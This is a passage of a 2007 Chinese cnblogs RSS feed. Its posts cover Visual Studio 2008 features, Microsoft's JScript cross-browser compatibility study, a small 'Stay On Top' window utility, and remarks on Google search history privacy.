7. For the <strong>client</strong> developer, new features include WPF project templates out of the box, a new WPF designer with integrated support for <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=348624">interop between WinForms and WPF</a>. FireFox support for ClickOnce and XBAP deployments. Now, you can <a href="http://www.danielmoth.com/Blog/2007/05/client-application-services-in-orcas.html">take advantage of ASP.NET provider services</a> and also <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=334866">embed UAC manifests</a> for application running on Windows Vista.<br />
<br />
8. For the <strong>office</strong> developer, there is full support for 2007 Office customisations as well as Office 2003 templates. Support include <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=349048">outlook form regions</a>, <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=348631">ribbon customisation</a>, <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=349049">custom task panes, actions pane</a>, <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=349047">Word content control</a> databinding and <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=349570">interop with VBA</a>.<br />
<br />
9. For the <strong>server</strong>
developer, WCF and WF templates now ship out of the box and play better
together. WCF now supports a SOAP-less HTTP programming model as well
as syndication and JSON serialization. There is a good collection of
links for these <a href="http://blogs.thinktecture.com/cweyer/archive/2007/10/29/414951.aspx">here</a>.<br />
<br />
10. For the <strong>mobile</strong> developer, there are tons of new features including support for Compact LINQ and Compact WCF and <a href="http://www.danielmoth.com/Blog/2007/08/netcf-beta-2.html">many other NETCF features</a>. At the IDE level we get Unit Testing for devices <a href="http://www.danielmoth.com/Blog/2007/03/visual-studio-for-devices-features-in.html">amongst other goodies from the VSD team</a>.<br />
<br />
11. Bonus item: It is only via VS2008 that you will be able to <a href="http://www.danielmoth.com/Blog/2007/10/releasing-source-code-for-net-framework.html">debug your code down into the .NET Framework methods</a>.
<img src ="http://www.cnblogs.com/LoveShrek/aggbug/964464.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/43805/" target="_blank">[新闻]JavaFX千呼万唤始出来</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title> 微软发布IE、Firefox、Opera和Safari的JavaScript兼容性研究(ZZ)</title><link>http://www.cnblogs.com/LoveShrek/archive/2007/11/06/950830.html</link><dc:creator>Jamebo</dc:creator><author>Jamebo</author><pubDate>Tue, 06 Nov 2007 03:59:00 GMT</pubDate><guid>http://www.cnblogs.com/LoveShrek/archive/2007/11/06/950830.html</guid><wfw:comment>http://www.cnblogs.com/LoveShrek/comments/950830.html</wfw:comment><comments>http://www.cnblogs.com/LoveShrek/archive/2007/11/06/950830.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/LoveShrek/comments/commentRss/950830.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/LoveShrek/services/trackbacks/950830.html</trackback:ping><description><![CDATA[<a href="http://www.infoq.com/cn/news/2007/11/JavaScript-Compatibility">
http://www.infoq.com/cn/news/2007/11/JavaScript-Compatibility</a><br />
<br />
<p>长久以来JavaScript兼容性一直是Web开发者的一个主要问题。在正式规范、事实标准以及各种实现之间的存在的差异让许多开发者日夜煎熬。其结果就是很多网页不能在各种浏览器上都有一样的表现，甚至根本不能跨浏览器。 </p>
<p><a href="http://blogs.msdn.com/jscript/archive/2007/10/29/ecmascript-3-and-beyond.aspx">Microsoft的Jscript团队</a>敏锐地察觉到他们也是这个问题的一部分： </p>
<blockquote>问题是JavaScript开发者本就不应该需要去检测和回避这些问题。JavaScript应该在所有实现中都有一致的表现。我们相信这是让JavaScript变得更好的第一步。<br />
<br />
为了让这种实现上的一致性成为可能，首先需要找出分歧点在哪里。在Jscript团队里的，我们正在努力查清哪里是浏览器实现的分歧所在，我们的引擎在哪个地方把规范解读错了，是否已经达到了某种<strong>事实</strong>兼容型惯例，把这些惯例整理进标准有何价值。作为起点，我们发布了《<a href="http://wiki.ecmascript.org/lib/exe/fetch.php?id=resources%3Aresources&amp;cache=cache&amp;media=resources:jscriptdeviationsfromes3.pdf">JScript Deviations from ES3</a>》的第一份草案。 </blockquote>
<p>文档的标题《JScript Deviations from
ES3》有些误导。这份文档不仅涵盖了IE，也涵盖了来自Firefox、Opera和Safari的JavaScript实现。这是对规范的一次深入研
究，里面就全部4种浏览器，逐点比较了标准的规定和实际的情形。 </p>
<strong>查看英文原文：</strong><a href="http://www.infoq.com/news/2007/10/JavaScript-Compatibility">Microsoft Releases JavaScript Compatibility Study for IE, Firefox, Opera, and Safari</a>
<div class="bloglinks">
</div>
<br />
<img src ="http://www.cnblogs.com/LoveShrek/aggbug/950830.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/43804/" target="_blank">[新闻]Moonlight: Linux 平台下的 Silverlight</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title>Stay On Top的小工具</title><link>http://www.cnblogs.com/LoveShrek/archive/2007/09/27/907442.html</link><dc:creator>Jamebo</dc:creator><author>Jamebo</author><pubDate>Thu, 27 Sep 2007 01:05:00 GMT</pubDate><guid>http://www.cnblogs.com/LoveShrek/archive/2007/09/27/907442.html</guid><wfw:comment>http://www.cnblogs.com/LoveShrek/comments/907442.html</wfw:comment><comments>http://www.cnblogs.com/LoveShrek/archive/2007/09/27/907442.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/LoveShrek/comments/commentRss/907442.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/LoveShrek/services/trackbacks/907442.html</trackback:ping><description><![CDATA[<span style="font-size: 10.5pt; font-family: 宋体; color: #1f497d;">以前写的小工具，可以让任何标准的窗口</span><span style="font-size: 10.5pt; font-family: &quot;Calibri&quot;,&quot;sans-serif&quot;; color: #1f497d;" lang="EN-US">Stay On Top.<br />
</span><img src="file:///C:/Users/alexyang/AppData/Local/Temp/moz-screenshot.jpg" alt="" /><img src="http://www.cnblogs.com/images/cnblogs_com/loveshrek/stayontop.png" alt="" border="0" height="308" width="397" /><br />
<p class="MsoNormal"><span style="font-family: 宋体; color: #1f497d;"><o:p>&nbsp;</o:p>展开附件，运行</span><span style="color: #1f497d;" lang="EN-US">StayOnTop.exe</span><span style="font-family: 宋体; color: #1f497d;">即可。</span><span style="color: #1f497d;" lang="EN-US"><o:p></o:p></span></p>
<br />
<img src ="http://www.cnblogs.com/LoveShrek/aggbug/907442.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/43803/" target="_blank">[新闻]印度软件外包企业秘密收购中国公司</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title>Google的搜索记录</title><link>http://www.cnblogs.com/LoveShrek/archive/2007/06/26/796297.html</link><dc:creator>Jamebo</dc:creator><author>Jamebo</author><pubDate>Tue, 26 Jun 2007 06:36:00 GMT</pubDate><guid>http://www.cnblogs.com/LoveShrek/archive/2007/06/26/796297.html</guid><wfw:comment>http://www.cnblogs.com/LoveShrek/comments/796297.html</wfw:comment><comments>http://www.cnblogs.com/LoveShrek/archive/2007/06/26/796297.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cnblogs.com/LoveShrek/comments/commentRss/796297.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/LoveShrek/services/trackbacks/796297.html</trackback:ping><description><![CDATA[<p>今天在使用Google的搜索功能时，发现可以看到自己以前的搜索记录，截图如下：</p> <p><a href="http://www.cnblogs.com/images/cnblogs_com/LoveShrek/WindowsLiveWriter/Google_CD3D/image%7B0%7D%5B1%5D.png" atomicselection="true"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="77" src="http://www.cnblogs.com/images/cnblogs_com/LoveShrek/WindowsLiveWriter/Google_CD3D/image%7B0%7D.png" width="240" border="0"></a> </p> <p>进去以后真的看到自己以前搜索的关键字。</p> <p><a href="http://www.cnblogs.com/images/cnblogs_com/LoveShrek/WindowsLiveWriter/Google_CD3D/image%7B0%7D%5B3%5D.png" atomicselection="true"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="121" src="http://www.cnblogs.com/images/cnblogs_com/LoveShrek/WindowsLiveWriter/Google_CD3D/image%7B0%7D%5B2%5D.png" width="240" border="0"></a> </p> <p>对这个功能既感到方便，也感到害怕。</p> <p>自己以前所有的操作信息都被Google记录了，有点隐私被别人窥视的感觉，呵呵。</p><img src ="http://www.cnblogs.com/LoveShrek/aggbug/796297.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/43802/" target="_blank">[新闻]华人高管陆奇出任微软互联网业务总裁</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item></channel></rss>